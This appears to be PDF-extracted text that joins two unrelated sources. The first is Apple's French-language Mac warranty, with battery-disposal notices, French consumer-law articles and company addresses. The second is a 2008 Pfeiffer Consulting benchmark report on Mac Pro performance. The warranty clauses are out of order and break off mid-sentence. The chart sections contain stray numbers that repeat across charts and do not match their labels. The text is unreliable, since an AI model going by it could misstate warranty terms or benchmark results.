informações sobre o programa de reciclagem da Apple,
pontos de coleta e telefone de informações, visite
www.apple.com/br/environment.
Informations sur l’enlèvement de la batterie
Jetez vos batteries usagées en respectant les lois et les
consignes environnementales de votre pays.
Deutschland: Dieses Gerät enthält Batterien. Bitte nicht
in den Hausmüll werfen. Entsorgen Sie dieses Gerät am
Ende seines Lebenszyklus entsprechend der maßgeblichen
gesetzlichen Regelungen.
Nederlands: Gebruikte batterijen kunnen worden ingeleverd
bij de chemokar of in een speciale batterijcontainer voor
klein chemisch afval (kca) worden gedeponeerd.contenues dans la documentation technique, les manuels
d’utilisation et les communications.
CE QUI N’EST PAS COUVERT PAS LA PRESENTE GARANTIE
COMMERCIALE La présente garantie commerciale ne
s’applique pas aux produits ou logiciels qui ne sont pas de la
marque Apple, même s’ils sont emballés ou vendus avec un
Produit Apple. Les fabricants, fournisseurs ou éditeurs autres
que Apple peuvent vous fournir leurs propres garanties
mais Apple, dans la mesure de ce qui est permis par la loi,
fournit leurs produits « en l’état ». Les logiciels distribués par
Apple, sous la marque Apple ou non, (y compris, de façon
non limitative, les logiciels de système) ne sont pas couverts
par cette garantie. Nous vous prions de bien vouloir vous
reporter au contrat de licence accompagnant le logiciel pour
les détails de vos droits concernant son utilisation. Apple ne
garantit pas que le fonctionnement du Produit Apple sera
ininterrompu ou sans erreur. Apple n’est pas responsable
des dommages provenant du non-respect des instructions
d’utilisation du produit.
Cette garantie ne s’applique pas : (a) aux pièces
consommables, telles que les batteries, sauf si le dommage
est dû à un vice de matière ou de fabrication ; (b) à tout
dommage esthétique, comprenant notamment toute
rayure, bosse ou élément en plastique de ports cassé ;
(c) à tout dommage causé par l’utilisation avec un autre
produit ; (d) à tout dommage causé par accident, abus,
mauvaise utilisation, contact avec des éléments liquides,
feu, tremblement de terre ou autres causes extérieures ;
(e) à tout dommage causé par une utilisation du Produit
Apple non conforme aux instructions diffusées par Apple ;
(f) à tout dommage causé par toute intervention (y compris
les mises à niveau et les extensions) effectuée par
toute personne qui n’est pas un représentant d’Apple
ou un prestataire de services agréé Apple («PSAA»);
(g) à un Produit Apple qui a été modifié de telle manière
à en altérer les fonctionnalités ou les capacités sans
l’autorisation écrite d’Apple ; (h) aux défauts causés par une
usure normale ou dus au vieillissement normal du produit ;
ou (i) si un numéro de série Apple a été enlevé du Produit
Apple ou rendu illisible.
VOS RESPONSABILITES SI VOTRE PRODUIT APPLE EST
CAPABLE DE STOCKER DES LOGICIELS, DONNES ET AUTRES
INFORMATIONS, ALORS NOUS VOUS RECOMMANDONS
D’EFFECTUER DES COPIES DE SAUVEGARDE PERIODIQUES
DES INFORMATIONS CONTENUES SUR LE SUPPORT DE
STOCKAGE AFIN D’EN PROTEGER LE CONTENU ET DE VOUS
PREMUNIR CONTRE D’EVENTUELLES DEFAILLANCES DE
FONCTIONNEMENT.
Avant de pouvoir bénéficier du service de garantie, Apple
ou ses représentants peuvent vous demander de fournir
une preuve d’achat, de répondre à des questions dans le but
de les assister à diagnostiquer les problèmes potentiels ou
de suivre les procédures d’Apple pour obtenir le service de
garantie. Avant de déposer votre Produit Apple pour tout
service de garantie, vous vous engagez à créer une copie
de sauvegarde du support de stockage, à effacer toutes les
Contrat de licence du logiciel
L’utilisation de MacBook Pro constitue l’acceptation des
conditions générales des licences de logiciels d’Apple et de
tierces parties, que vous pouvez consulter à l’adresse :
www.apple.com/legal/sla
Garantie d’Apple Limitée à un (1)
an - Mac
Pour les produits de marque Apple uniquement
EN QUOI LE DROIT DE LA CONSOMMATION SE RAPPORTE-TIL A CETTE GARANTIE CETTE GARANTIE VOUS CONFERE DES
DROITS SPECIFIQUES ET IL SE PEUT QUE VOUS BENEFICIIEZ
D’AUTRES DROITS EN FONCTION DE VOTRE PAYS, REGION OU
ETAT, Y COMPRIS POUR LES CONSOMMATEURS FRANÇAIS LES
DROITS DETAILLES CI-DESSOUS.
A L’EXCEPTION DE CE QUI EST AUTORISE PAR LA LOI, APPLE
N’EXCLUT, NE LIMITE NI NE SUSPEND AUCUN DES AUTRES
DROITS DONT VOUS POURRIEZ BENEFICIER, NOTAMMENT
CEUX RESULTANT DE LA GARANTIE LEGALE DE CONFORMITÉ
ATTACHEE AU CONTRAT DE VENTE. AFIN DE PRENDRE
PLEINEMENT CONNAISSANCE DE VOS DROITS, NOUS VOUS
INVITONS A CONSULTER LES LOIS DE VOTRE PAYS, REGION
OU ETAT.
LES LIMITATIONS DE GARANTIE POUVANT AFFECTER
LE DROIT DE LA CONSOMMATION DANS LA MESURE
AUTORISEE PAR LA LOI, LA PRESENTE GARANTIE ET LES
RECOURS STIPULES CI-DESSUS SONT EXCLUSIFS ET SONT EN
LIEU ET PLACE DE TOUTES AUTRES GARANTIES, RECOURS
ET DROITS, QU’ILS SOIENT ECRITS OU ORAUX, LEGAUX,
EXPRES OU TACITES. APPLE EXCLUT EXPRESSEMENT TOUTES
GARANTIES LEGALES ET TACITES, Y COMPRIS ET SANS QUE
CETTE LISTE NE SOIT LIMITATIVE, LES GARANTIES DE QUALITE
MARCHANDE, DE CONFORMITE A UN USAGE PARTICULIER
ET DES VICES CACHES OU LATENTS, DANS LA MESURE
DE CE QUI EST PERMIS PAR LA LOI. SI CES GARANTIES NE
PEUVENT PAS VALABLEMENT ETRE EXCLUES, APPLE LIMITERA,
DANS LA MESURE AUTORISEE, LA DUREE DE CELLES-CI ET
LES RECOURS Y AFFERENTS, A LA DUREE DE LA PRESENTE
GARANTIE COMMERCIALE ET, A LA DISCRETION D’APPLE, A LA
REPARATION OU AU REMPLACEMENT DU PRODUIT, COMME
DECRIT CI-DESSOUS.
CERTAINS PAYS, ETATS OU REGIONS N’AUTORISENT PAS LA
LIMITATION DE LA DUREE DES GARANTIES LEGALES. DE CE
FAIT, LES LIMITATIONS PREVUES CI-DESSUS PEUVENT NE PAS
S’APPLIQUER A VOUS.
CE QUI EST COUVERT PAR LA PRESENTE GARANTIE
COMMERCIALE Apple garantit le produit de marque Apple
et ses accessoires tels que contenus dans l’emballage
d’origine (le “Produit Apple”) contre les vices de fabrication
et de matière, dans des conditions normales d’utilisation,
conformément aux instructions diffusées par Apple, pour
une durée de UN (1) AN à compter de la date d’achat par
l’acheteur final (“Durée de la Garantie”). Les instructions
diffusées par Apple incluent, sans limitation, les informations d’emballage, afin que vous puissiez faire parvenir votre
Produit Apple à un SRA ou à un PSAA, conformément aux
instructions d’Apple. Une fois le service effectué, le SRA ou le
PSAA vous renverra le Produit Apple. Si toutes les instructions
sont suivies, Apple assumera les frais d’envoi et de retour.
(iii) Service “faites-le vous-même” (“DIY”). Le service DIY vous
permet de réparer vous-même votre Produit Apple. Si le
service DIY est applicable compte tenu des circonstances, les
procédures suivantes pourront, selon les cas, s’appliquer :
(a) Service pour lequel Apple vous demande le retour du
produit ou de la pièce remplacé(e).
Apple pourra vous demander une autorisation de
prélèvement sur votre carte de crédit pour garantir le prix
au détail du produit ou de la pièce de remplacement ainsi
que les coûts de transport applicables. Si vous n’êtes pas en
mesure de fournir une telle autorisation, vous pourrez ne
pas être en mesure d’accéder au service DIY et Apple vous
proposera alors une solution alternative.
Apple vous enverra le produit ou la pièce de remplacement
avec, le cas échéant, les instructions pour l’installer, ainsi
que les conditions de renvoi du produit ou de la pièce
remplacée. Si vous suivez les instructions, Apple annulera
l’autorisation de prélèvement, et vous ne supporterez pas
les coûts de transport du produit ou de la pièce détachée.
Si vous ne retournez pas le produit ou la pièce remplacée
comme indiqué ou si le produit ou la pièce remplacée ne
remplit pas les conditions permettant de bénéficier du
service de garantie, Apple débitera la carte de crédit du
montant autorisé.
(b) Service pour lequel Apple ne vous demande pas le retour
du produit ou de la pièce remplacé(e).
Apple vous enverra gratuitement une pièce ou un produit
de remplacement avec, le cas échéant, les instructions
d’installation, ainsi que toutes les conditions pour le
traitement du produit ou de la pièce remplacé(e).
(c) Apple n’est responsable d’aucun coût de main d’œuvre
que vous pourriez supporter en relation avec le service
DIY. Si vous avez besoin d’une assistance particulière, merci
de bien vouloir contacter Apple au numéro de téléphone
indiqué ci-dessous.
Apple se réserve le droit de modifier les moyens par lesquels
Apple pourrait vous fournir le service de garantie ainsi que
l’éligibilité de votre Produit Apple à une méthode de service
en particulier. Le service de garantie sera limité aux options
disponibles dans le pays où le service est demandé.
Les options du service, la disponibilité des pièces et les délais
de traitement varient en fonction des pays. Vous pourrez
être tenu de payer les frais d’expédition et de transport
si le Produit Apple ne peut pas être réparé dans le pays
dans lequel il se trouve. Si vous demandez à bénéficier du
service dans un pays qui n’est pas le pays d’achat, vous
devrez vous conformer à toutes les lois applicables relatives
à l’importation et à l’exportation et serez redevable des
droits de douane, de la TVA et toutes autres taxes et coûts
informations personnelles que vous souhaitez protéger ainsi
qu’à désactiver tous vos mots de passe.
IL EST POSSIBLE QUE LE CONTENU DU SUPPORT DE
STOCKAGE DE VOTRE PRODUIT APPLE SOIT PERDU REMPLACE
OU REFORMATE LORS DE LA MISE EN OEUVRE DES SERVICES
DE GARANTIE. DANS UNE TELLE HYPOTHESE, APPLE ET
SES REPRESENTANTS NE SERONT PAS RESPONSABLE DE LA
PERTE DES LOGICIELS, DONNEES OU AUTRES INFORMATIONS
CONTENUES SUR LE SUPPORT DE STOCKAGE OU TOUTE
AUTRE PARTIE DU PRODUIT APPLE REMIS.
Votre Produit Apple, ou un Produit Apple de remplacement,
vous sera retourné configuré tel que vous l’avez acheté, sous
réserve des mises à jour applicables. Il vous appartiendra de
réinstaller tous les autres logiciels, données et informations.
La récupération et la réinstallation des autres programmes
de logiciels, données et informations ne sont pas couvertes
par cette garantie.
QUE FERA APPLE EN CAS DE MISE EN OEUVRE DE LA
GARANTIE ? Si une réclamation valable est reçue par
Apple ou un PSAA pendant la Durée de la Garantie, Apple
va, à son choix (i) réparer le Produit Apple en utilisant des
pièces neuves ou des pièces dont les performances et la
fiabilité sont équivalentes à celles d’une pièce neuve, ou (ii)
échanger le Produit Apple avec un produit qui est au moins
fonctionnellement équivalent au produit d’origine et qui
est constitué de plusieurs pièces neuves ou de pièces dont
les performances et la fiabilité sont équivalentes, ou (iii)
rembourser le prix d’achat du Produit Apple.
Apple pourra vous demander de remplacer certaines pièces
ou certains produits pouvant être installés par l’utilisateur.
Un produit ou une pièce de rechange, y compris une pièce
pouvant être installée par l’utilisateur et qui aura été installée
conformément aux instructions fournies par Apple, sera
garantie pour la plus longue des durées suivantes : la durée
restant à courir de la garantie du Produit Apple d’origine ou
une durée de quatre-vingt dix (90) jours à compter de la date
du remplacement ou de la réparation. Lorsqu’un produit ou
une pièce est échangé(e) ou remboursé(e), toute pièce de
rechange devient votre propriété et la pièce échangée ou
remboursée devient la propriété d’Apple.
COMMENT OBTENIR LE SERVICE DE GARANTIE? Apple
fournira le service de garantie selon l’une des options
suivantes :
(i) Service sur place. Vous pouvez déposer votre Produit
Apple dans un Magasin Apple ou chez un PSAA offrant
un service sur place. Le service sera effectué sur place ou
le Produit Apple pourra être envoyé par le Magasin Apple
ou par le PSAA à un service de réparation Apple (“SRA”)
afin d’être réparé. Une fois averti de la réparation de votre
produit, vous devrez rapidement venir le récupérer auprès
du Magasin Apple ou chez le PSAA, ou, le Produit Apple vous
sera directement envoyé par le SRA.
(ii) Service prêt à poster. Si Apple estime que votre Produit
Apple peut être envoyé par courrier, Apple vous fera parvenir
une enveloppe prépayée et si nécessaire, des matériaux Il répond également des défauts de conformité résultant de
l’emballage, des instructions de montage ou de l’installation
lorsque celle-ci a été mise à sa charge par le contrat ou a été
réalisée sous sa responsabilité. »
Article L. 211-5 du code de la consommation français
« Pour être conforme au contrat, le bien doit :
1° Etre propre à l’usage habituellement attendu d’un bien
semblable et, le cas échéant :
- correspondre à la description donnée par le vendeur et
posséder les qualités que celui-ci a présentées à l’acheteur
sous forme d’échantillon ou de modèle ;
- présenter les qualités qu’un acheteur peut légitimement
attendre eu égard aux déclarations publiques faites par
le vendeur, par le producteur ou par son représentant,
notamment dans la publicité ou l’étiquetage ;
2° Ou présenter les caractéristiques définies d’un commun
accord par les parties ou être propre à tout usage spécial
recherché par l’acheteur, porté à la connaissance du vendeur
et que ce dernier a accepté. »
Article L. 211-12 du code de la consommation français
« L’action résultant du défaut de conformité se prescrit par
deux ans à compter de la délivrance du bien. »
Article 1641 du code civil français
« Le vendeur est tenu de la garantie à raison des défauts
cachés de la chose vendue qui la rendent impropre à l’usage
auquel on la destine, ou qui diminuent tellement cet usage
que l’acheteur ne l’aurait pas acquise, ou n’en aurait donné
qu’un moindre prix, s’il les avait connus.»
Article 1648 alinéa 1er du code civil français
« L’action résultant des vices rédhibitoires doit être intentée
par l’acquéreur dans un délai de deux ans à compter de la
découverte du vice. »
RESPECT DE LA VIE PRIVEE Apple, en sa qualité de
responsable de traitement, conservera et utilisera les
informations du client conformément à la politique de
confidentialité Apple, qui peut être consultée sur la page web
suivante: www.apple.com/legal/warranty/privacy.
STIPULATIONS GENERALES Aucun revendeur, agent ou
salarié Apple n’est habilité à modifier, proroger ou compléter
la présente garantie.
Si une stipulation des présentes est déclarée illégale ou
inapplicable, la validité des autres stipulations ne sera pas
affectée.
Cette garantie est régie et interprétée selon les lois du pays
dans lequel le Produit Apple a été acheté. Apple est identifiée
à la fin de ce document selon le pays dans lequel le Produit
Apple a été acheté. Apple et ses successeurs sont les garants
en vertu de cette garantie.
associés. En ce qui concerne les services internationaux,
Apple peut réparer ou échanger les produits ou les pièces
par des produits ou pièces comparables conformes aux
standards locaux.
LIMITATION DE RESPONSABILITE A L’EXCEPTION DE CE QUI
EST PREVU DANS LA PRESENTE GARANTIE COMMERCIALE
ET DANS LA MESURE AUTORISEE PAR LA LOI, APPLE N’EST
PAS RESPONSABLE DES DOMMAGES DIRECTS, SPÉCIFIQUES,
ACCESSOIRES OU INDIRECTS, CONSECUTIFS OU NON,
RESULTANT DE LA VIOLATION DE TOUTE GARANTIE OU
RESPONSABILITE OU DE TOUT AUTRE CONCEPT JURIDIQUE,
Y COMPRIS DE FACON NON LIMITATIVE TOUTE PERTE
D’UTILISATION, PERTE DE REVENU, PERTE DE PROFITS REELS
OU ANTICIPES (Y COMPRIS TOUTE PERTE DE PROFITS LIES
A DES CONTRATS), PERTE DE DISPONIBILITE FINANCIERE,
PERTE D’ECONOMIES PREVUES, PERTE D’AFFAIRES, PERTE
D’OPPORTUNITES, PERTE DE CLIENTELE, DOMMAGE A LA
REPUTATION, PERTE, DOMMAGE A, OU ENDOMMAGEMENT
DE DONNEES, OU PERTE OU DOMMAGE INDIRECT OU
CONSECUTIF, QUELLE QU’EN SOIT LA CAUSE, Y COMPRIS
LE REMPLACEMENT DE MATERIELS OU DE BIENS, TOUS
FRAIS DE RECUPERATION, DE PROGRAMMATION OU DE
REPRODUCTION DE TOUT PROGRAMME OU DE TOUTE
DONNEE STOCKEE OU UTILISEE AVEC LES PRODUITS
APPLE ET TOUT ECHEC DANS LA PRESERVATION DE LA
CONFIDENTIALITE DES DONNEES STOCKEES SUR LE
PRODUIT APPLE.
LA PRESENTE LIMITATION NE S’APPLIQUE PAS AUX
RECLAMATIONS EN CAS DE DECES OU DE DOMMAGES
CORPORELS OU EN CAS DE RESPONSABILITÉ LÉGALE POUR
DOL OU FAUTE LOURDE ET/OU OMISSION. APPLE NE DONNE
AUCUNE GARANTIE QUANT A SA CAPACITE A REPARER TOUT
PRODUIT APPLE AUX TERMES DE LA PRESENTE GARANTIE NI
A ECHANGER TOUT PRODUIT APPLE SANS AUCUN RISQUE NI
AUCUNE PERTE DE PROGRAMME OU DE DONNEES.
CERTAINS PAYS REGIONS, OU ETATS NE PERMETTENT PAS
L’EXCLUSION OU LA LIMITATION DE RESPONSABILITE
VIS-A-VIS DE CERTAINES CATEGORIES D’ACHETEURS TELS
LES CONSOMMATEURS, DE TELLE SORTE QUE CERTAINES
EXCLUSIONS ET LIMITATIONS PREVUES CI-DESSUS PEUVENT
NE PAS S’APPLIQUER A VOUS.
Nonobstant les stipulations de la présente garantie
commerciale, Apple reste en toute hypothèse tenue, vis-à-vis
des consommateurs, des défauts de conformité, dans les
conditions prévues aux articles L. 211-1 et suivants du code
de la consommation français et des vices rédhibitoires, dans
les conditions prévues aux articles 1641 à 1649 du code
civil français.
Conformément aux dispositions de l’article L. 211-15 du
code de la consommation français, les articles suivants
s’appliquent aux consommateurs :
Article L. 211-4 du code de la consommation français
« Le vendeur est tenu de livrer un bien conforme au contrat
et répond des défauts de conformité existant lors de la
délivrance.Région/Pays d’achat Adresse
Tous les pays Apple Distribution International
Hollyhill Industrial Estate
Hollyhill, Cork,
Republic of Ireland
ASIE/PACIFIQUE
Australie ; Nouvelle
Zélande, Fidji, PapouasieNouvelle- Guinée ;
Vanuatu
Apple Pty. Limited.
PO Box A2629, Sydney South,
NSW 1235, Australia
Hong Kong Apple Asia Limited
2401 Tower One, Times Square,
Causeway Bay; Hong Kong
Inde Apple India Private Ltd.
19th Floor, Concorde Tower C,
UB City No 24, Vittal Mallya Road,
Bangalore 560-001, India
Japon Apple Japan Inc.
3-20-2 Nishishinjuku,
Shinjuku-ku, Tokyo, Japan
Corée Apple Korea Ltd.
3201, ASEM Tower; 159,
Samsung-dong, Gangnam-Gu;
Seoul 135-798, Republic of Korea
Afghanistan, Bangladesh,
Bhoutan, Brunei,
Cambodge Guam,
Indonésie, Laos, Singapour,
Malaisie, Népal, Pakistan,
Philippines, Sri Lanka,
Vietnam
Apple South Asia Pte. Ltd.
7 Ang Mo Kio Street 64
Singapore 569086
République populaire
de Chine
Apple Computer Trading
(Shanghai) Co. Ltd.
Room 1815, No. 1 Jilong Road,
Waigaoqiao Free Trade Zone,
Shanghai 200131 China
Thaïlande Apple South Asia (Thailand)
Limited
25th Floor, Suite B2, Siam Tower,
989 Rama 1 Road, Pataumwan,
Bangkok, 10330
Taiwan Apple Asia LLC
16A, No. 333 Tun Hwa S. Road. Sec.
2, Taipei, Taiwan 106
Autres pays d’Asie
Pacifique
Apple Inc.
1 Infinite Loop;
Cupertino, CA 95014, U.S.A.
032212 Mac Warranty French v2
INFORMATION EN LIGNE De plus amples informations sont
disponibles en ligne sur les sujets suivants :
Information
internationales de
support
www.apple.com/support/country
Distributeurs agréés www.apple.com/buy
Prestataire de Service
Agréé Apple
support.apple.com/kb/HT1434
Magasins Apple (“Apple
Retail Store”)
www.apple.com/retail/storelist/
Support et service Apple support.apple.com/kb/HE57
Support gratuit Apple www.apple.com/support/country/
index.html?dest=complimentary
Societe Apple Garante Pour La Région Ou Le
Pays D’achat
Région/Pays d’achat Adresse
AMÉRIQUE
Brésil Apple Computer Brasil Ltda
Av. Cidade Jardim 400, 2 Andar,
Sao Paulo, SP Brasil 01454-901
Canada Apple Canada Inc.
7495 Birchmount Rd.; Markham,
Ontario, Canada; L3R 5G2 Canada
Mexique Apple Operations Mexico,
S.A. de C.V.
Prolongación Paseo de la
Reforma #600, Suite 132,
Colonia Peña Blanca, Santa Fé,
Delegación Álvaro Obregón,
México D. F., CP 01210, Mexico
Etats-Unis et autres pays
d’Amérique
Apple Inc.
1 Infinite Loop;
Cupertino, CA 95014, U.S.A.
EUROPE, MOYEN-ORIENT ET AFRIQUE© 2012 Apple Inc. Tous droits réservés.
Apple, le logo Apple, AirPort Extreme, iPod, Mac, MacBook et MagSafe sont des marques d’Apple Inc., déposées aux États-Unis et
dans d’autres pays. Apple Store et AppleCare sont des marques de service d’Apple Inc. déposées aux États-Unis et dans d’autres
pays. La marque et les logos Bluetooth® sont la propriété de Bluetooth SIG, Inc. et sont concédés sous licence par Apple Inc.
ENERGY STAR® est une marque déposée aux États-Unis.
F034-6359-A
Printed in XXXX
Pushing the Limits of Hardware
The Mac Pro, which was first introduced in 2006, has evolved over the years to
take in account the requirements of the creative community around the world,
driving hardware trends such as multiprocessor architectures, graphics performance and expansion. Combined with Leopard, the latest release of Mac
OS X, the new Mac Pro continues to redefine the creative work environment.
Over the years, creative workflows have evolved considerably, moving from
mainly print-centric production environments to multiple media and increasingly
diverse output channels. While five or ten years ago, the separation between different disciplines were relatively clear-cut, the same is not true any more today.
In many cases, the same creative professionals who work on display advertisements, for instance, will also have to tackle interactive content, digital video,
web development, 3D rendering and audio production.
As a result, the hardware requirements for the creative workstation have
grown dramatically in terms of media diversity as well as concerning quantity
and size of the files that need to be managed and processed.
About this Report
This report analyzes the results of a benchmark project conducted by Pfeiffer
Consulting for Apple, comparing performance and workflow productivity of
the 8-core 2.8GHz and 3.2GHz Mac Pro introduced in early 2008 with earlier
Macintosh models including the dual 2.0GHz Power Mac G5, the Power Mac
G5 Quad, as well as the previous generation Mac Pro. To find out more about
the benchmarks and hardware configurations, please refer to the Methodology
sidebar on page 3.
The project included system benchmarks as well as performance and productivity measures conducted with Adobe Creative Suite 3 as well as QuarkXPress 7.3.1.
Productivity benchmarks cover workflow productivity and inter-application
integration measures.
In addition, this report takes a closer look at the hardware differences between
the latest Mac Pro and previous versions of the Mac Pro family. (See page 6.)
If you are interested in a detailed discussion of hardware configurations and benchmark methodology, as well as complete results of all benchmarks, please download the complete Mac Pro 2008 Benchmark Report at
www.pfeifferreport.com.
Major Findings
• The 2008 Mac Pro provides an optimized
hardware platform with increased hardware
performance and greater memory bandwidth
than earlier models.
• Based on the benchmarks conducted for this
project, the 2008 Mac Pro offers a clear
increase in performance and productivity
over the previous generation Mac Pro and
older Macintosh computers.
• The 2008 Mac Pro brings extended
multiprocessing architectures to the
mainstream by providing eight processing
cores in almost all configurations.
About Pfeiffer Consulting
• Pfeiffer Consulting is an independent
technology research institute and
consulting operation focused on the needs
of publishing, digital content production, and
new media professionals.
• Download the complete Mac Pro 2008
Benchmark Report at
www.pfeifferreport.com.
Pfeiffer Report • Benchmark Analysis
Pfeiffer Consulting
01001011
Mac Pro 2008:
Performance and Productivity
for Creative Pros
Productivity and workflow efficiency of the 2008 Mac Pro
with the Adobe Creative Suite 3 and QuarkXPress 7
© Pfeiffer Consulting 2008
Mac Pro 2008: Performance and Productivity for Creative Pros 1Performance vs. Productivity
Performance and productivity are completely different notions and rely on
different aspects of a computing platform. Processor frequency, memory speed
and bandwidth, disk performance, graphics architecture, and, of course, the
operating system all play together to deliver a satisfying and efficient user
experience. Only if all hardware and software components work together in an
optimal way can we expect maximum efficiency and productivity.
In other words, number-crunching prowess is not the only factor that counts.
A computer can be very powerful at complex computations such as 3D rendering,
yet deliver a poor overall productivity profile. It is for this reason that the
benchmarks conducted for this project are comprised of a wide variety of
tests and efficiency measures ranging from aspects such as application launch
and file copy to pure performance measures of cutting-edge applications such as
Photoshop CS3, as well as workflow productivity measures of common tasks.
How Does the Latest Mac Pro Stack Up?
The benchmarks conducted for this report compare the 8-core 2.8GHz and
3.2GHz Mac Pro released in early 2008 with the previous generation Mac Pro,
as well as older Power Mac models. The test results clearly show the increase in
performance that the new hardware platform procures.
Major Points
• Based on the benchmarks conducted for
this project, the Mac Pro released in
early 2008 represents a highly optimized
computing platform that increases
performance and productivity over
previous Macintosh models.
• The 2008 Mac Pro offers a clear increase
in performance over the previous
generation Mac Pro, the Power Mac G5
and older Macintosh computers in
basic system benchmarks, as well as in
application-based performance measures.
• Efficiency of key applications such as
Photoshop CS3 is significantly better on
the latest Mac Pro than on older models.
Photoshop CS3 Performance (Total Time)
Time scale in seconds. Shorter is better.
49.67
57.97
47.50
52.97
0 50 100 150 200 250 300 350 400
Mac Pro 2008 (3.2GHz)
Mac Pro 2008 (2.8GHz)
Mac Pro 3.0GHz (8-core Xeon)
Mac Pro 3.0GHz (4-core Xeon)
Power Mac G5 Quad
Power Mac G5 (2.0GHz)
Mac Pro 3.0GHz
(8-core Xeon)
Mac Pro 3.0GHz
(quad-core Xeon)
Mac Pro 2008
(3.2GHz)
Mac Pro 2008
(2.8GHz)
Power Mac G5
Quad
Power Mac G5
(2.0GHz)
6 min 07 sec
3 min 56 sec
59.59
2 min 54 sec
2 min 41 sec
2 min 35 sec
2 min 19 sec
6 min 07 sec
3 min 56 sec
2 min 54 sec
2 min 41 sec
2 min 35 sec
2 min 19 sec
Mac Pro 3.0GHz
8-core first gen.
Mac Pro 3.0GHz
quad-core first gen.
Mac Pro 2008
3.2GHz 8-core
Mac Pro 2008
2.8GHz 8-core
Power Mac G5
Quad
Power Mac G5
2.0GHz
All Workflow Benchmarks (Total Time)
Time scale in seconds. Shorter is better.
49.67
57.97
47.50
52.97
0 100 200 300 400 500 600
0 100 200 300 400 500 600
Mac Pro 2008 (3.2GHz)
Mac Pro 2008 (2.8GHz)
Mac Pro 3.0GHz (8-core Xeon)
Mac Pro 3.0GHz (4-core Xeon)
Power Mac G5 Quad
Power Mac G5 (2.0GHz)
Mac Pro 3.0GHz
(8-core Xeon)
Mac Pro 3.0GHz
(quad-core Xeon)
Mac Pro 2008
(3.2GHz)
Mac Pro 2008
(2.8GHz)
Power Mac G5
Quad
Power Mac G5
(2.0GHz)
9 min 29 sec
8 min 06 sec
59.59
6 min 18 sec
6 min 04 sec
5 min 55 sec
5 min 19 sec
6 min 07 sec
3 min 56 sec
2 min 54 sec
2 min 41 sec
2 min 35 sec
2 min 19 sec
Mac Pro 3.0GHz
8-core first gen.
Mac Pro 3.0GHz
quad-core first gen.
Mac Pro 2008
3.2GHz 8-core
Mac Pro 2008
2.8GHz 8-core
Power Mac G5
Quad
Power Mac G5
2.0GHz
Mac Pro 2008: Key Performance and Productivity Data
Performance increases in frequently performed, time-consuming operations are
very important in deadline-driven work environments. The chart on the left
shows the cumulative time of all Photoshop performance benchmarks in this
benchmark project, including common operations such as unsharp masking,
resampling and image rotation performed with files of varying sizes. The
chart on the right shows the cumulated time of all workflow benchmarks. Both
sets of data underline the performance and productivity increase of the latest
generation Mac Pro over older Macintosh models.
Mac Pro:
Key Performance Data
© Pfeiffer Consulting 2008
2 Mac Pro 2008: Performance and Productivity for Creative ProsIt is interesting to note that despite a relatively modest increase in processor speed the 2008 Mac Pro is clearly faster than the previous generation
Mac Pro. Compared with older models such as the Power Mac G5 Quad, it is
almost twice as fast in many tests.
A good example for this is the Photoshop Filter Index benchmark. Different
Photoshop filters draw upon varying hardware aspects; for example, some use
mainly floating point calculations, others rely on integer performance, yet others
mainly on memory bandwidth. This makes the Photoshop Filter Index a good
indicator of the overall performance of a computer. The 3.2GHz Mac Pro performed significantly better than older models, scoring 0.72 seconds per filter,
compared with 0.80 seconds for 3.0 GHz 8-core Mac Pro released in 2007.
In other words, the Mac Pro hardware platform keeps evolving at a significant
pace, and shows coherent performance and productivity increases over previous models. Combined with the Adobe Creative Suite 3 and QuarkXPress 7.3.1,
the 8-core 2.8GHz and 3.2GHz Mac Pro offer a measurably faster and more
productive hardware platform than older Macintosh models, and contribute to
redefining the creative workflow in terms of efficiency and performance.
This report was created by Pfeiffer Consulting (http://www.pfeifferconsulting.com).
Reproduction prohibited without prior written permission. For further information, please
contact research@pfeifferreport.com.
Adobe, Illustrator, InDesign, and Photoshop are either registered trademarks or trademarks of
Adobe Systems Incorporated in the United States and/or other countries. Apple, the Apple logo,
Mac, Macintosh, Mac OS, Mac Pro and Power Mac are trademarks of Apple, Inc., registered
in the United States and other countries. PowerPC is a trademark of International Business
Machines Corporation, used under license therefrom. All other trademarks are the property of
their respective owners.
The Photoshop Filter Index benchmark measures the time necessary to compute 103 Photoshop
filters in succession on a 10MB image file. The times displayed in this chart show the average
time per filter.
Basic system benchmarks measure the time necessary for frequent system tasks such as application
launch and re-launch. The 2008 Mac Pro is clearly more efficient in these tests: the 3.2GHz
model is almost twice as fast as the 2.0GHz Power Mac G5.
49.67
57.97
47.50
52.97
0 30 60 90 120 150
Mac Pro 2008 (3.2GHz)
Mac Pro 2008 (2.8GHz)
Mac Pro 3.0GHz (8-core Xeon)
Mac Pro 3.0GHz (4-core Xeon)
Power Mac G5 Quad
Power Mac G5 (2.0GHz)
59.59
2 min 19 sec
2 min 02 sec
1 min 30 sec
1 min 26
1 min 21 sec
1 min 17 sec
Mac Pro 3.0GHz
8-core first gen.
Mac Pro 3.0GHz
quad-core first gen.
Mac Pro 2008
3.2GHz 8-core
Mac Pro 2008
2.8GHz 8-core
Power Mac G5
Quad
Power Mac G5
2.0GHz
Basic System Tests (Total Time)
Time scale in seconds. Shorter is better.
0.0
0.5
1.0
1.5
2.0
Mac Pro 2008 (3.2GHz)
Mac Pro 2008 (2.8GHz)
Mac Pro 3.0GHz (8-core Xeon)
Mac Pro 3.0GHz (4-core Xeon)
Power Mac G5 Quad
Power Mac G5 (2.0GHz)
Photoshop Filter Index (Average)
Time scale in seconds. Shorter is better.
1.76
1.25
0.85
0.80
0.82
0.72
Mac Pro 3.0GHz
8-core first gen.
Mac Pro 3.0GHz
quad-core first gen.
Mac Pro 2008
3.2GHz 8-core
Mac Pro 2008
2.8GHz 8-core
Power Mac G5
Quad
Power Mac G5
2.0GHz
© Pfeiffer Consulting 2008
Mac Pro 2008: Performance and Productivity for Creative Pros 3
Methodology
• This benchmark project was conducted by
Pfeiffer Consulting for Apple. It analyzes the
performance and productivity of the 8-core
2.8GHz and 3.2GHz Mac Pro released in
early 2008, as compared with the quadcore and 8-core 3.0GHz Mac Pro released
in 2006 and 2007, the 2.5GHz Power Mac
G5 Quad, released in the Fall of 2005, the
first-generation dual 2.0GHz Power Mac G5
introduced in 2003 and the dual 1.25GHz
Power Mac G4 introduced in 2002.
• Productivity benchmarks were conducted
using a set of workflow and application
integration measures executed with Adobe
Creative Suite 3 and QuarkXPress 7.3.1.
• Benchmarks were conducted on standard
hardware configurations. All computers
were equipped with 4GB of RAM. The Power
Mac G4 was equipped with 2GB of RAM, the
maximum amount of RAM supported by this
model.
• All systems were equipped with the
standard hard drives shipped with the
computer. All hard drives were reformatted
using a single partition before testing.
• All benchmarks were run on a standard,
unmodified installation of Mac OS X
10.5.1 Leopard.
